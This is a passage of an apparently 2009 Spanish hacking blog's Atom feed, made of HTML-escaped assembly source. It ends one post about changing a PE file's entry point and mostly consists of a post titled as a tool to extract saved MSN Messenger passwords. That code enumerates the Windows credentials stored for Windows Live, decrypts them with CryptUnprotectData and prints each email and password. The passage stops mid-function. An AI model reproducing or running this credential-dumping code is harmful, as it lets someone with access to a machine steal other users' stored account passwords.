51);"&gt;,&lt;/span&gt; NULL&lt;br /&gt;&lt;br /&gt;               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; "Cerramos" el archivo&lt;/span&gt;&lt;br /&gt;               &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NULL&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-4743963511553634332?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/4743963511553634332/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=4743963511553634332&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4743963511553634332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4743963511553634332'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/changeentrypoint.html' title='ChangeEntryPoint'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-2761449462195894812</id><published>2009-04-29T15:52:00.000-07:00</published><updated>2009-04-29T15:53:37.663-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>[SRC]Sacar claves guardadas de el messenger(provado con messenger 9)</title><content type='html'>Espacio equ &lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br /&gt;format pe console&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;entry start&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br /&gt;Logo &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'         ====================================================='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'         = Humilde Visor de calves de el msn 0.1v by YST     ='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'         ====================================================='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;lCount &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;lCred &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;struct&lt;/span&gt; DATA_BLOB&lt;br /&gt;   cbData                 &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;   pbData                 &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;ends&lt;/span&gt;&lt;br /&gt;tBlobOut   DATA_BLOB&lt;br /&gt;tBlobIn     DATA_BLOB&lt;br /&gt;lmem &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"color 03"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Logo&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CredEnumerate&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"WindowsLive:name=*"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; lCount&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;lCred&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lCount&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lCred&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lCount&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;+8&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;+24&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;+28&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt;  &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;cbData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt;  &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;pbData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CryptUnprotectData&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; $&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; $&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; $&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; $&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; $&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; tBlobOut&lt;br /&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt;     &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;cbData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Mail: "&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;+48&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;GPTR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;cbData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;            Call CopyMemory(ByVal StrPtr(sPass), ByVal .pbData, .cbData)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lmem&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; UniToAscii &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lmem&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tBlobIn&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;pbData&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Mail: "&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;eax&lt;span style="color: rgb(0, 0, 255);"&gt;+48&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Contraseña: %s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lmem&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lmem&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lCount&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; UniToAscii&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; ascii&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; unicode&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;unicode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ascii&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: 